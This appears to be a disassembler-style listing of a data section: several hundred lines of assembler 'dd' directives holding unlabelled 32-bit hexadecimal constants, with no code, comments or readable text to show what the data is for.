		dd 86B4C016h, 0DF4F16B0h, 9F99EB33h, 2F590C03h,	0B718E4E0h
		dd 39F63EB6h, 58D9A3D0h, 0B8F20289h, 0F8BF97EFh, 937720B9h
		dd 0AC31B903h, 0DF29AE8Bh, 5DC9A7C2h, 0B719F14h, 9AF617C0h
		dd 0C252AC22h, 3247BC0Ch, 0F587A760h, 39EB23C0h, 7C416B2Eh
		dd 9E75E5Fh, 4D7F528Ah,	0E952849Bh, 0E909FA6Bh,	0D2C5FF51h
		dd 0D9B5A720h, 20CB0256h, 65C21C5Bh, 2F586EE1h,	36ECD2C9h
		dd 8494BF41h, 0C8F7802Dh, 12EDCF47h, 0FB686A5Dh, 98D65C1Fh
		dd 759295C7h, 5B3BFC43h, 27A87A00h, 0DDE93456h,	31899B4h
		dd 5A5B1F4Bh, 0D6D07BDAh, 9C48003h, 0B003E4C0h,	5A289EF4h
		dd 0CF18D1E3h, 7EE33BF9h, 65546803h, 0B4F12D8Eh, 0B58703B1h
		dd 56E87DE1h, 595E1D51h, 54AC6857h, 638386EAh, 1EE06C6h
		dd 5F19ACECh, 10A89080h, 290518C1h, 0BBEB12F3h,	648B5C18h
		dd 0F43240Ch, 0B85071DBh, 774A1080h, 63A1235h, 18874ACDh
		dd 9F09F335h, 13265F1h,	0AB3F33C6h, 0EC042044h,	0FCC8E52Eh
		dd 0F4E6B009h, 0F1AF92FCh, 0F4FBE956h, 0C59DCA3Bh, 98B508FFh
		dd 0CDBF5A16h, 0EA45CE2h, 93C242A0h, 0DC1FE817h, 4A566B15h
		dd 25245EC5h, 1610FF1Dh, 5A3CAD24h, 0ADF8517Fh,	9B5A82D8h
		dd 143D70E1h, 5A53F3D2h, 444F7EFCh, 0A3D119Ch, 68055C58h
		dd 0D92394h, 8BE922C2h,	6FBEF7A1h, 5D5F6499h, 24D1DD49h
		dd 0C501EDEDh, 0FFD54E91h, 5A0EB23Ah, 9ABE6C84h, 3EF0261h
		dd 96C4E5Fh, 134B7484h,	3435C8AAh, 301730B2h, 71A05AD0h
		dd 8502B209h, 0F4933E8Eh, 4534AF0Dh, 557DF4AEh,	7F064295h
		dd 7952B0F1h, 64D7E928h, 0C7CB25D1h, 0DFE9A9D4h, 68125016h
		dd 72E34251h, 0F189A42Dh, 178DBE57h, 400B25E9h,	726C75Ah
		dd 0B0C040BFh, 223D2C75h, 0FAF74F29h, 38A65256h, 6D015D1Ch
		dd 74CA15F1h, 0FCD4C22Dh, 0BB5350BAh, 460C060Ah, 3500D764h
		dd 2D31D156h, 48E5F266h, 0E4205D6Ah, 221EBD75h,	4F920EB9h
		dd 4FD44BBh, 0F5921E19h, 7288C5B0h, 0D5E0A2CAh,	5276580Bh
		dd 7338F289h, 0B1324968h, 2527C872h, 23148AEh, 0DB930905h
		dd 0BA80FBF2h, 7061196h, 0E9EC495Ah, 0AFE15EDDh, 0BB5A0CE0h
		dd 5BF4B5Ah, 0ADFB12A6h, 2F080596h, 0B501653Fh,	9AC0D0FAh
		dd 0D93A9925h, 0C8E9B0h, 9DDA8952h, 0FE01878Bh,	0FE34CEF1h
		dd 0DCE1FE80h, 64A7A54h, 8E632CECh, 85AA7FA1h, 2F24995Ch
		dd 34E4C08h, 6607B353h,	0F6DC88D0h, 0E378D474h,	0EB805802h
		dd 4A32E9D2h, 2A69D75Dh, 0E8C53B88h, 0FB4DC4AAh, 0BF0105DFh
		dd 36572D54h, 5DDBFC56h, 54FB1A9Fh, 0C50717D0h,	30D89164h
		dd 0AEA73F37h, 0A3CC0138h, 0AC2050A6h, 56055F78h, 1A1BE6ADh
		dd 425AC638h, 0F330F772h, 549502C2h, 0DA57723Eh, 411865E0h
		dd 9E52EB5Eh, 5A7E55B9h, 801FC7C5h, 2859CA30h, 9620D07Bh
		dd 0F2FEA41Bh, 0EF189516h, 0E6970E68h, 0C69998Bh, 0F3D951CCh
		dd 757A5A7Ah, 1292C430h, 254FABBAh, 0DDD450E5h,	58BE01BFh
		dd 0F9016E0Eh, 4021293Fh, 186C829Dh, 567448h, 2DE0D108h
		dd 3946E7Eh, 5CAE0D53h,	1E3E23DEh, 0A5318004h, 0C6899CEFh
		dd 4F0CBD58h, 0A176246h, 71BC43E7h, 3558B2D8h, 0FD2DBAE2h
		dd 12697EECh, 0DD0DB153h, 8F73F833h, 0B54C70F9h, 5E16E794h
		dd 0C4FF64FBh, 9251917Fh, 2D153D1Ch, 93DE20D2h,	90E843D0h
		dd 41FBB03Ch, 0D29D42D4h, 68957AD8h, 92B8F137h,	5F8F1703h
		dd 500AEF6Bh, 4B28072Dh, 220654Bh, 0B449CD68h, 0B05F64F1h
		dd 0E51C80A5h, 56EFC085h
		dd 799B3E4Fh, 31B09308h, 524B0E54h, 5A296528h, 0B102E84Fh
		dd 10F34568h, 48C126DDh, 6CFE0016h, 89BE4183h, 0F6E32CDCh
		dd 4FFA0B6Ah, 2FFFEE91h, 0F2870707h, 308D656h, 6E28CA81h
		dd 0E9E8360Eh, 46953348h, 0C944BF0Ah, 4BC51625h, 0B2EFD32Eh
		dd 2810DFAFh, 0EA00127Ah, 0C2054075h, 9F52C61Ch, 0E0669A0Eh
		dd 35020703h, 0F0BF1FA7h, 537BC029h, 0D27D82C9h, 0C489306Ch
		dd 1EB7C267h, 0C327E30h, 7C3118F3h, 58F2044Dh, 0E5935265h
		dd 348B3E01h, 2978325Fh, 8A5A5E0Ch, 22C239C0h, 9E111628h
		dd 404F9F02h, 5FD9F77Ch, 36FE2C0h, 0D552519Ah, 0E5C1C7CEh
		dd 0D3C4566h, 4E5855F6h, 669B2038h, 29A9F8EBh, 0C6E9CD17h
		dd 18B9447h, 3E1EE73h, 39C9C1DFh, 0BBDB7090h, 87A1ACF4h
		dd 641F5B0Ch, 0A2BAE684h, 42B7763Eh, 0BF8F450Bh, 0A9E16113h
		dd 0F713D626h, 277684EDh, 17140B1h, 9CD0E5EFh, 523047AFh
		dd 0D3A07EB2h, 0F68665Ah, 3C46634Eh, 408A4AB6h,	0BD0455BAh
		dd 53ED75B4h, 297BA4BFh, 704A15EEh, 2D025607h, 86F8160Eh
		dd 0AD39BEE4h, 0ED4D8C2Ah, 0FA32B20Ch, 71230C62h, 1351245h
		dd 8E810FDh, 1441784Ch,	0C8F1CACh, 0DA6F6BD6h, 6BB002F4h
		dd 571D2990h, 0A1643768h, 30A8E193h, 4228EA4Eh,	74E5B754h
		dd 196D6884h, 0EAA430ABh, 70B5E705h, 0FA1A0914h, 0A0F7B618h
		dd 0BBFEB21h, 24EF98A6h, 416ED75Ch, 218201C6h, 8C9D2D1h
		dd 6EEDD943h, 0F6EE3349h, 9F6BA8A6h, 0A301B24Ah, 0FEA03DCDh
		dd 8621DC0h, 8C59292Fh,	0BFC33BEBh, 7E04FA4Bh, 2D744898h
		dd 5357B880h, 0EAC45068h, 435B3012h, 0E400122h,	52B0C8A3h
		dd 377D1427h, 1E1C4BFh,	0F1A77C3Bh, 7D5BDF89h, 20409CE7h
		dd 62E94C12h, 0F966B5E3h, 0E1B4709Dh, 65F58030h, 0BC5F06A9h
		dd 4A2C7E12h, 88605856h, 0EA548AD3h, 0C25CEC05h, 53595B08h
		dd 0F6A44640h, 2627D25Ch, 0E217D8B4h, 8FB32507h, 0A3415709h
		dd 0E3B57252h, 0F4775E1Eh, 4D2A6829h, 0B32E441Ah, 530B6413h
		dd 7F5C10h, 3074287Fh, 1C09F381h, 0D4EE0DEAh, 0FB010187h
		dd 59A11E9h, 0F3CA3281h, 0B024302Bh, 0BAF968B3h, 0AFA51C75h
		dd 23B3D525h, 685A0F04h, 1DA62623h, 176344Ah, 7236D8F7h
		dd 54E3610Ah, 5A5A81Ah,	5A4E20FEh, 0D16AE2AAh, 0FE244E0Fh
		dd 0B2E9F1C0h, 246D2FDh, 0C83110D4h, 9DFC3E77h,	4D6DBBF6h
		dd 6FB0B06Ah, 294A1606h, 0B70B73B9h, 0EE021774h, 61F608E5h
		dd 1A30CE72h, 0DC141FABh, 4EF58168h, 29692A1Ch,	87F32505h
		dd 0D3DF59FCh, 1B42281Eh, 5310507h, 0BAB941BCh,	8ECA1035h
		dd 0E996F262h, 8C4E82D3h, 27B8F7A7h, 350038BFh,	0E7817197h
		dd 800F4F9Eh, 62C72F7h,	0CF011D58h, 7FE82FADh, 0BB491882h
		dd 957C6F3h, 51A9778Bh,	86FAE65Eh, 4BBE0608h, 13B5F85Ah
		dd 2ACC348Ah, 0E86D5BE9h, 443C5AD9h, 0BC6BEDEDh, 4AA18620h
		dd 0F988271Ah, 3CDED430h, 95A6CEB7h, 685103B0h,	9D798531h
		dd 65A656A6h, 2302520h,	8080AEFAh, 0A382C1EFh, 0D12CF828h
		dd 0F5EC2F5Bh, 501D4AD4h, 81CA3954h, 0C9DFF7EEh, 0CD0320D7h
		dd 4AC76700h, 4569FE25h, 66E92719h, 875E8101h, 75DD7E1Ch
		dd 0C596B26Fh, 509CB53Ch, 31434060h, 0B6C7D058h, 9BD707Ah
		dd 0D5E915FEh, 347BC4E2h, 25A1D213h, 0DFE68C7Bh, 30B55758h
		dd 0E6815F49h, 61271223h, 60C6F82Ch, 9C45CB12h,	0B46906Ch
		dd 19AD6F82h, 1048FC01h, 44F12093h, 0FE537369h,	97698736h
		dd 403AD51Dh, 58E588BFh, 0EC39EE80h, 3D2CFD28h,	39882745h
		dd 34F56B01h, 21E91891h, 72BF0AC6h, 5ADA081Fh, 5A04E7C9h
		dd 2C500BA9h, 0BB04549Eh, 5143162Ah, 178E67AFh,	0EFEE6442h
		dd 8201EF29h, 4355CCB1h, 0FAEC1E84h, 3EFC001h, 2139F780h
		dd 0C9282B0Ah, 14B25C2Ch, 961A4010h, 625A5698h,	2B72ED9Ch
		dd 0E97026F4h, 68A148F2h, 36245ECFh, 0BF690FDh,	694ED57Ah
		dd 57B7F9D2h, 0CAB0B343h, 7C2F27F6h, 202560Bh, 0A71194A1h
		dd 0F808877Ch, 772D0756h, 2389C96Bh, 4FD4B09h, 12E17BEDh
		dd 2838CF6Fh, 2050E75Ch, 0CC130C7h, 6BD514FAh, 6B8A56Fh
		dd 14800C08h, 0B1BE55E9h, 0E10EF920h, 0A0C9FEA6h, 0CE88E3F1h
		dd 6D8220E9h, 10B3D581h, 2F4F2568h, 0E95019EDh,	0EBAEBB2Dh
		dd 745E3E7Fh, 4B20BC1Fh, 0FD684CDAh, 312F98DBh,	0FC6FF0D3h
		dd 99BF4FB4h, 526830FFh, 22952BBAh, 1378724h, 4C68555Dh
		dd 1570F8D4h, 4E5D989Dh, 70A692D6h, 774018EEh, 83B0C2Fh
		dd 7678AB2Fh, 0D008A056h, 0E909140Ch, 1257B7AAh, 1760D77Fh
		dd 0E4B42A47h, 0F27669EFh, 0F894FCh, 700E2094h,	0ABB8555Eh
		dd 0C219930Bh, 6A835D72h, 450F234Fh, 9DFBBF66h,	0AB0F8024h
		dd 561638A1h, 0A51625E9h, 0C9A3D2C8h, 1F64CE96h, 5D3503F8h
		dd 0FE8A52F6h, 849761D3h, 4E049CA4h, 1A19B67Bh,	0B7FA9E1h
		dd 0AC194190h, 80A5747Ch, 0E288D858h, 0F2390490h, 2876F64Ch
		dd 0E866C227h, 823EA471h, 52172441h, 887D7587h,	0D16ACE6Dh
		dd 93A66E1Bh, 0CE18B15Fh, 8528E22Eh, 70D84AB3h,	2EFD39B9h
		dd 382190F2h, 32A666EEh, 48A30209h, 306021A9h, 0E83A52F4h
		dd 8E19E2Eh, 43028779h,	0C9F33977h, 1C8A0C6h, 1DA89841h
		dd 27B2141Ch, 4E298976h, 2227AB0Fh, 89BB5328h, 0C860B33h
		dd 13F920E2h, 0D4419B20h, 0E9080378h, 0B2030363h, 0B7530AB6h
		dd 0E6C3D1F0h, 2823D07Ah, 1F0E3064h, 200DD0F7h,	4832AE7Dh
		dd 3B8537E9h, 6EBE62EDh, 2C21F348h, 52F96424h, 1452C603h
		dd 50C777Dh, 0E94F0920h, 0B7C3D119h, 66F9E8FDh,	26CB70BDh
		dd 40D281Ah, 0AB89E980h, 881CB1B3h, 42DC93CBh, 3C1F6814h
		dd 173C8C79h, 8BE2535Eh, 3C55ED9Eh, 6B08B0B0h, 594B9133h
		dd 248AC0C9h, 68075686h, 4C0A3CE6h, 65CFD1C2h, 1E7DADDEh
		dd 0CAB8A92Bh, 0F114402Ah, 0C9382BF5h, 614B4CB0h, 5205E141h
		dd 0F42E0885h, 5F3D5D2Fh, 7BBE8258h, 0F3567F5Bh, 0D9BB0BFDh
		dd 9750E2DCh, 7B3EBCBDh, 0B474A4FFh, 0FFF00706h, 759489BFh
		dd 657DED89h, 31202591h, 8827BF4Ch, 470293B8h, 1183C67h
		dd 2E6340DDh, 200B2461h, 9FEBA85Dh, 24FC1FE9h, 0E2C05B2Ch
		dd 1B1D79ABh, 5DEF2C01h, 0F7E904FCh, 6C39BA67h,	936DF82Fh
		dd 6E766C04h, 6BA0E920h, 123BBB80h, 0FB62CC5Fh,	741D6482h
		dd 676E2531h, 0EB8A0B91h, 50DFA5Dh, 0C8B2AF0h, 455B3C32h
		dd 0CD365718h, 52990009h, 66F637BFh, 595EE9ADh,	0D328E381h
		dd 68FA8FDDh, 10B2E6CEh, 3A039D1Eh, 6D1B1207h, 1C383901h
		dd 16605565h, 955025CBh, 642E0F40h, 1C808E2Ch, 120CE902h
		dd 0BE165701h, 1B2C8FCh, 0FEE15C5Bh, 9B99DB41h,	53D4316Ah
		dd 6BE92A55h, 0F421BAF5h, 3466E32Bh, 0A197F85Fh, 0A67ED5A4h
		dd 276A58B5h, 0FB5A0Fh,	75A52C91h, 1226AC25h, 0F135258h
		dd 0B7230A82h, 0B4826713h, 5C64D25Eh, 3D28B45Ch, 73840908h
		dd 0C76A2DAFh, 3EF7C84Ah, 8F5C209Dh, 6C5AC290h,	8EABB985h
		dd 902619E1h, 0E740590Ah, 2810E13h, 8E5C170h, 35C8DDF7h
		dd 0CDB289BCh, 28E4D163h, 0A6BA843Ah, 62C625CCh, 26284DD9h
		dd 0FAC80877h, 5B656804h, 8C03298Dh, 0E1D4D2AEh, 4B3FF74Dh
		dd 0FE54FACDh, 602CE978h, 32DA4D08h, 34B31AA4h,	0F7D25597h
		dd 0F3B27FF9h, 325E3EF7h, 0FD3BD230h, 7F764A75h, 10EB21FBh
		dd 3958FF0Bh, 0E99627CAh, 95EAB00Ah, 2CBC7295h,	0ADF8051Dh
		dd 1202D2F6h, 0F1680663h
		dd 2BBE4065h, 35144478h, 64C7EE87h, 0FBA2DE09h,	1B10FA06h
		dd 99A0162Bh, 0B310BEAAh, 0C47D01C5h, 82EE2951h, 1175D403h
		dd 8601B1F8h, 0F6BE71C2h, 0F6835B4Ah, 0A358EACCh, 0EE1F84B0h
		dd 26B41E18h, 0A07C595h, 50A7B3B9h, 2B2C6850h, 0D2C94257h
		dd 565E2738h, 722511E5h, 32E65D45h, 21936809h, 1861CED6h
		dd 0DC6B010Bh, 0CC4E2B29h, 0D39A21BEh, 0E2F9AF56h, 0D3EC09CAh
		dd 0E482F09h, 574FAD68h, 98870CCh, 55288B50h, 0E1BD1880h
		dd 7C1C3861h, 0E985454Dh, 61AE14A8h, 2E22422Ah,	0A46A649Dh
		dd 0D8583136h, 3A2B0702h, 36D235F3h, 26FA44C7h,	1BF77EC5h
		dd 0F886A1Dh, 70BD0417h, 5CDF933h, 68810A47h, 322B37E3h
		dd 595F5FB1h, 8471722Bh, 0A2695DA6h, 20A44E15h,	9C201CCh
		dd 15E38100h, 0E9799C11h, 6FAE532Dh, 5FF7614Ah,	4DB800E0h
		dd 7FCB0A5Ch, 5BEEC101h, 923360Bh, 790075C2h, 5EF22BBh
		dd 9D4A94B5h, 4F0BFF5Ch, 0E3D65C5Dh, 79103B53h,	520FAA09h
		dd 7F06E688h, 0BD5A1059h, 40C35188h, 115E8877h,	0AEF556A8h
		dd 83305779h, 0C78080E8h, 0FE28CF1Eh, 6608A68Dh, 279BEC6Ah
		dd 0E00ADB5Ch, 5EF0215Ch, 44E980A0h, 19ADBD5Bh,	8C54E68Bh
		dd 17E93B2Dh, 0C0B8E945h, 6EB43509h, 3163EF0Bh,	7A9EF6C6h
		dd 94D1B540h, 0DAE82EE1h, 120174A5h, 3C24ABACh,	7A99CD01h
		dd 843F0386h, 506C2C6h,	0ED015DF4h, 66FB18EFh, 2274D8DBh
		dd 1D1C6025h, 2A53ABC5h, 3E93305Fh, 5700CC0Bh, 783C6EBFh
		dd 7FD8644Ah, 0FCE24B5Dh, 7965C444h, 0A09249ECh, 1540F0D7h
		dd 6D2F09BAh, 3D813AD1h, 0C67556E5h, 1A090C54h,	6C56023Fh
		dd 105DF2E4h, 257EFB9Dh, 89576839h, 0A638486Ah,	140C6975h
		dd 2A9794F7h, 3BEF9AE9h, 7592C9B5h, 3368D2CFh, 525FB7F8h
		dd 3EA905F8h, 0CE046756h, 0A3C247F6h, 357E6909h, 0A0BE1CC8h
		dd 0C43EB4FDh, 0AB545379h, 0C1A01D45h, 0D8C458FCh, 0ED680F87h
		dd 67F9315Bh, 0C3C70304h, 0B1F076Ah, 0BEC90D27h, 95BD2D1h
		dd 59FA2DF6h, 0E84BC0D7h, 4753305Bh, 3EFCC611h,	0B44F5E2Eh
		dd 0F230AF9Eh, 0F0DCB252h, 640BBFAAh, 68E11C71h, 9589426Ch
		dd 9720C132h, 0D9863CC9h, 0A394CEF4h, 95D0F705h, 0D5CCC904h
		dd 9DCE1AA8h, 0F2ED0691h, 2DC25F20h, 0B6C54423h, 6F0654ADh
		dd 68721961h, 7C102B0Dh, 0E35B2C07h, 0AD91BC13h, 0C204294Bh
		dd 0F31202D9h, 450BA6A7h, 0FA9984E9h, 77871737h, 0D9F70AD1h
		dd 1D804A4h, 197B355Dh,	15822E09h, 278EFE8Bh, 481F96F3h
		dd 64BF5EB8h, 0E96A6029h, 3EC0B88Ah, 3058E188h,	9E3BF4C8h
		dd 0C2551389h, 0AC0002C2h, 0F053B204h, 9219F6CDh, 0C9810450h
		dd 0BC167106h, 4AA132C3h, 0CD9AC3A2h, 5FFA8790h, 0E7D07A21h
		dd 0F72C053Bh, 38C008DFh, 9EEC0913h, 224042B2h,	0A24029Fh
		dd 3A00203Fh, 0E9122806h, 0F9F24A2Fh, 0C181CEB6h, 0D2A662C2h
		dd 3029DD7Eh, 44BD8828h, 5B46F08Dh, 308F4C91h, 429D7DEAh
		dd 8B37C06Ch, 1251BDC8h, 0C16C340h, 1021F63h, 851B9EBh
		dd 3CF1E67Fh, 5E46E4C3h, 256873A0h, 0D1761D9Fh,	9B1534C0h
		dd 2DF2F221h, 0C089A1E9h, 3FFA7DFh, 3C54CA3h, 48C9C679h
		dd 0A7D93C8Ah, 0D6C9828Dh, 0F7F7095Ah, 6B4B7CC0h, 752B7A2Fh
		dd 8E81AB8Fh, 0D81E0E22h, 4413B4C7h, 16BA1277h,	164BBA12h
		dd 5578AB56h, 0F8A1B436h, 815D00FAh, 2666ECF5h,	13D214Ch
		dd 7B945E6Fh, 37E2DA29h, 0D9E90801h, 629F3530h,	0DAC15BBDh
		dd 0E8A5F435h, 5D4BBC77h, 0C707772Fh, 0D7FB3042h, 0FE3195C1h
		dd 0D4303989h, 6F5BB4BEh, 7E37F1B7h, 0DCB2CB37h, 171D67D4h
		dd 819DBD22h, 5EE21B62h, 0D6E82Bh, 0A11DE49Ah, 4DE9CA89h
		dd 0B94EA290h, 89E9E1C5h, 6ED58D6Eh, 822CDB88h,	74DE5441h
		dd 6312095Bh, 0F5E00B16h, 832F529Ch, 2D11ED06h,	0C81E0C52h
		dd 7B3ED207h, 3F38EB09h, 16C25772h, 5A9D080Ah, 0C5ECC975h
		dd 2F28AECh, 0E9E82179h, 919A4B5Bh, 2732684h, 74047E68h
		dd 2B236699h, 42F4E92Dh, 0E0EDDD41h, 1BDF680Ch,	22AF1E9h
		dd 5EAC150h, 870955C2h,	80A0FC6Eh, 0AA61452Ah, 105D986h
		dd 0C13ED15Dh, 2B5C6D1Fh, 51CB8431h, 8D4D9CDh, 415B5C59h
		dd 7D09BAB5h, 0E720DDF6h, 0B73B12F1h, 9DF2D4Ch,	0E75738h
		dd 6C5DEB89h, 0E4735F56h, 18181A52h, 0BD0C6FABh, 99F62FDDh
		dd 0F168807Fh, 5AE40F41h, 4F41346h, 0D04EB11Ch,	728A6826h
		dd 0E79318BDh, 60A89674h, 6BED3B95h, 35EC42B0h,	0BDD7CC95h
		dd 149F54Ah, 79782A5Dh,	404E411Dh, 62C0E2F2h, 0CC35072h
		dd 0FA6C0CAEh, 5660FF42h, 87006390h, 9C11B92Eh,	9F319138h
		dd 59CA1381h, 42C82089h, 0EC6ED941h, 82ABA7AAh,	710FE8h
		dd 6843DD87h, 0BB724224h, 5B5D5361h, 97712EECh,	8D4BF24Ch
		dd 60456F30h, 0AF0C4BE5h, 0F843ED2Dh, 318819EFh, 0BEC105C8h
		dd 6B069608h, 528F8BF8h, 2EC1BE36h, 7C8CDE88h, 2E4740F7h
		dd 0D6634848h, 4232409h, 0BE82D519h, 0D5EA6AB7h, 19170A16h
		dd 4510ED30h, 893B2F8Bh, 0BC67F7C4h, 0F7A18593h, 7DD2D97Bh
		dd 1828100Fh, 43E1012Fh, 0E781000Eh, 0CE3E0DF7h, 0F9F0835Eh
		dd 0F30B3B6Fh, 54510B4Bh, 0D7652D71h, 206C2ADh,	7644E99Fh
		dd 51592F5Ah, 27EC1B63h, 0E1ABBF44h, 801CD58h, 692B21DEh
		dd 1DD72E9h, 0CEBA982Eh, 7789B940h, 0FAC230F9h,	8391C68Bh
		dd 58521125h, 3C5F5B97h, 744CE909h, 68EB80B5h, 26798C1Dh
		dd 201DCB01h, 0FF6CB508h, 0B7EB5E20h, 0D0050A72h, 5B0F552Fh
		dd 38DAA950h, 64BF4F3Ah, 68CC3307h, 0C55710DAh,	6781A5AEh
		dd 351CE950h, 35B06B43h, 0A33B4F91h, 1677A6E9h,	0FA729868h
		dd 0E456B3Dh, 0DD32E2ABh, 0F741E753h, 63C97B9Eh, 0FFC54861h
		dd 51F9F7C6h, 0C18CBFC7h, 0A15A5ED5h, 5FF63E17h, 58A2F527h
		dd 0D4A0D5B1h, 723875C7h, 0F705CCB0h, 648A15E7h, 6BD70CC0h
		dd 0F4044AD0h, 0AB05C2C3h, 293222BDh, 0F5C715D0h, 250E052Eh
		dd 904D69E9h, 0C46691DCh, 3638566Dh, 0F2A0887Eh, 3B99740Bh
		dd 0E91A54A9h, 0ACC23FF6h, 90C4FFF0h, 0A0BF27F0h, 73C1F1DCh
		dd 5E095F8Eh, 453E7FABh, 3EE93285h, 604BC9D6h, 181F90CFh
		dd 0E04C344Bh, 0EEF81BAAh, 62D8B78Dh, 0B8296B5h, 65510C4h
		dd 37E9A881h, 832BAFDBh, 7E51F9FCh, 0B235AB9h, 0B44F5FD7h
		dd 0A45BCEA0h, 8F1009CAh, 0EEC114FAh, 0AFF61F82h, 0FD0C2249h
		dd 699CD20Ch, 7B96330Eh, 2110D601h, 0DE582D08h,	77E95806h
		dd 4AF3624Dh, 2B1F8FCh,	80480267h, 0A8228AF1h, 0CA813B74h
		dd 26FF3B8Ah, 2CE904DBh, 0C91DBC42h, 5A3FC1CFh,	7F6C697Ah
		dd 0E984E7E2h, 78F7FC34h, 38E72C4Ah, 80721D2h, 93BC7276h
		dd 0F8EB0FFAh, 5B5B2E1Dh, 80A4B7F0h, 0E9E5EF09h, 86E29C9h
		dd 0F4E9160Eh, 0E2DF88EEh, 8151530Bh, 1A7D1544h, 4FAFCA60h
		dd 0E5438C4Eh, 1F785302h, 51C151E9h, 0F14BB114h, 1743F7Ah
		dd 0F104D384h, 0E3FAB28Ch, 0D5EB81CBh, 0AD307C55h, 168667A7h
		dd 81B545B4h, 5F59F7h, 9B7FBD68h, 371D0454h, 0BDAFCD0h
		dd 813387E5h, 32A0E9FCh, 0FD68297Bh, 0A2B701D3h, 453082DFh
		dd 0E4142D44h, 76C3564Bh, 0F9150B2Bh, 645D5B5Fh, 0BF362FFCh
		dd 5EBD664Ch, 27688442h, 257ACD63h, 7FDEECC9h, 2A5532A9h
		dd 314AC4F6h, 0C8F58784h, 1E20E9CEh, 0EB80187Bh, 4D606F9h
		dd 0A2CF41Ch, 0D81E779Ch, 10DF7A3Ah, 53C6C29h, 66D828EBh
		dd 0FD33ACC2h, 0E9F8E8D2h
		dd 645C452Dh, 512D0433h, 0F2058736h, 35E9E095h,	0C29BC74Ah
		dd 33408367h, 9DCB1105h, 82EBDBF6h, 0E5C1F301h,	2C43CD3h
		dd 0C108DEB9h, 836BD43Eh, 1BAE1D04h, 12491030h,	9621371h
		dd 0D217E95Dh, 75F2D3A0h, 1C7B503Eh, 517BF425h,	0FC589696h
		dd 0AE9684CBh, 918DB6AEh, 0CD680806h, 0CBE9093Eh, 5C172A7Ch
		dd 2A84BCBDh, 0A18C18FFh, 1D719F87h, 1827BD40h,	9E774C3Eh
		dd 0BE0D2335h, 1F999681h, 0E558C164h, 0F6015660h, 0F27BEA8h
		dd 5087C320h, 0DDE6A351h, 28F5A103h, 0DBFC8D1Ah, 788AE5C4h
		dd 783EC94Eh, 3DB8B03Fh, 5632276Fh, 0FE2AA7F2h,	57F011E4h
		dd 3EFFC37Eh, 347DD1A7h, 0C2ED2F22h, 0FCDCD3FDh, 29E42117h
		dd 2866124Ah, 0D74A08F6h, 5AD32904h, 707958FCh,	3B59BD3Ah
		dd 0F28BDFC9h, 808729D5h, 5BD02C4Ch, 0C231093Ch, 0CBD813E9h
		dd 1F070448h, 69A6669Eh, 0A38CD81Fh, 0CBCD6D4Fh, 0BA84595Dh
		dd 9FAD0AF7h, 37F09B13h, 3AC32668h, 1677695Dh, 4CE9157Fh
		dd 8491A6C2h, 98372205h, 0A05FF6Dh, 0C1ED4C48h,	648EC9DEh
		dd 0F90BCDF2h, 5FBE3FFBh, 8C96298Bh, 0E8270A01h, 1D916823h
		dd 7416307Eh, 76900B2Dh, 7C9EEB04h, 6BBC6D55h, 0FA24E917h
		dd 22EFDF40h, 0F627D9D3h, 0D51A5A10h, 0FD340739h, 4741C355h
		dd 64A26DF1h, 3F2568C3h, 0C17A540Eh, 3522DE9h, 0DEA9B256h
		dd 0CB013D5Eh, 5B584769h, 529F7433h, 8F40CE4Bh,	0ED224AF2h
		dd 2D590006h, 68A37AB6h, 209F74E9h, 2EB2C268h, 0EA7751F1h
		dd 8E40C204h, 2560B951h, 816601F0h, 6057DE1h, 15B83E3Bh
		dd 1369A940h, 0F0F9B6BCh, 0C83F21E4h, 0FBD82F59h, 502B3925h
		dd 606300A8h, 0AFBF52AAh, 0AD4F57B0h, 0FBD816h,	43EE81E8h
		dd 711E6C79h, 5039C601h, 7F35E908h, 0A7824DC0h,	1288545Eh
		dd 0F53FAD51h, 0B066DCFBh, 47E8784Bh, 325D1BE1h, 0E57027D4h
		dd 0C396BE9Ah, 9E8CFA30h, 0FE681C57h, 17F62F4Ch, 9F3C8B78h
		dd 68F0677Ch, 0A03E9349h, 5D521210h, 0C6920F5Ah, 0C322ADD7h
		dd 9D196855h, 0F8BC7F52h, 1F60E65Ah, 0FF0CCCFEh, 0BF77FEFh
		dd 745F53FBh, 5909C85Eh, 0F932DF09h, 0E73C247Fh, 661B02FEh
		dd 0D9C0D13Bh, 1F69E9F8h, 0FBC87F8Bh, 8180D9BCh, 626E0CCFh
		dd 0F6681964h, 45342530h, 5FF13ADFh, 680DB1BDh,	98EAD250h
		dd 0B04E7B5Eh, 3DC631BBh, 7CEC2BC5h, 0AEAB8484h, 4A1015B2h
		dd 123502DCh, 55BC5CCDh, 0BA438A05h, 0C267900h,	78D12916h
		dd 0FD87FAEBh, 38E988C0h, 0FF4F2576h, 4CFAB065h, 526950A4h
		dd 1E69BA09h, 29A202D2h, 88D509A5h, 0D812CD73h,	7E668BEEh
		dd 0A856932h, 7648F709h, 4825E21Ah, 9DBF5016h, 0EA386A4Ch
		dd 30EB4B28h, 14FA6859h, 52446594h, 2408082h, 0E5758759h
		dd 14942511h, 0D1231025h, 0D8296276h, 70EBEF0Ch, 0F189E0C7h
		dd 48984F63h, 6053712h,	56D6F75Eh, 5370B397h, 972519E9h
		dd 9B205214h, 0C5B92446h, 0B81A00B0h, 137E794Ah, 5DBAF2B5h
		dd 2D02BD03h, 714ED730h, 18BA7843h, 1F93BE00h, 27AE98A9h
		dd 0AFF30802h, 20607828h, 6F59C679h, 0F8C24FAAh, 2E0F55AFh
		dd 0E9C234B2h, 3EF48742h, 547F3F82h, 4DB06044h,	88CAACEFh
		dd 12BD5586h, 0BFEA77EDh, 0AEF521C0h, 208A2049h, 61E2DA0Bh
		dd 0A28957E4h, 0D2ACC854h, 0F14F1709h, 66B098FCh, 3580981Ah
		dd 10082E2Bh, 652909B0h, 7CB50F9Eh, 0E068C2C9h,	14296AE4h
		dd 24B1576h, 9976501h, 110B23DEh, 0C991B3ABh, 738E51C3h
		dd 0E1C560F3h, 20EFBC5Fh, 35DD0C06h, 0D20C57E0h, 346B520Bh
		dd 5C9FC089h, 0C9309719h, 4B66A81h, 0D7598662h,	0E985236Fh
		dd 0B864D9A6h, 8944B1FFh, 0F17AD8DCh, 0CA39288Ah, 2DB590Bh
		dd 0FDFBD3E8h, 58F972D5h, 0D36098E9h, 0B745DDEDh, 0CD0C7B76h
		dd 0CD76DDCh, 323C3DC5h, 1256702Fh, 769D622Ah, 77F6C79Bh
		dd 0EEB3B496h, 873BBCC7h, 0F4A96894h, 85816957h, 47A60852h
		dd 17D154EAh, 57E291E1h, 555FC9C8h, 5DC29197h, 1272D16Ah
		dd 30A93BD7h, 785CA092h, 0A2AA91BDh, 0A6B10D20h, 0E6BF4ADh
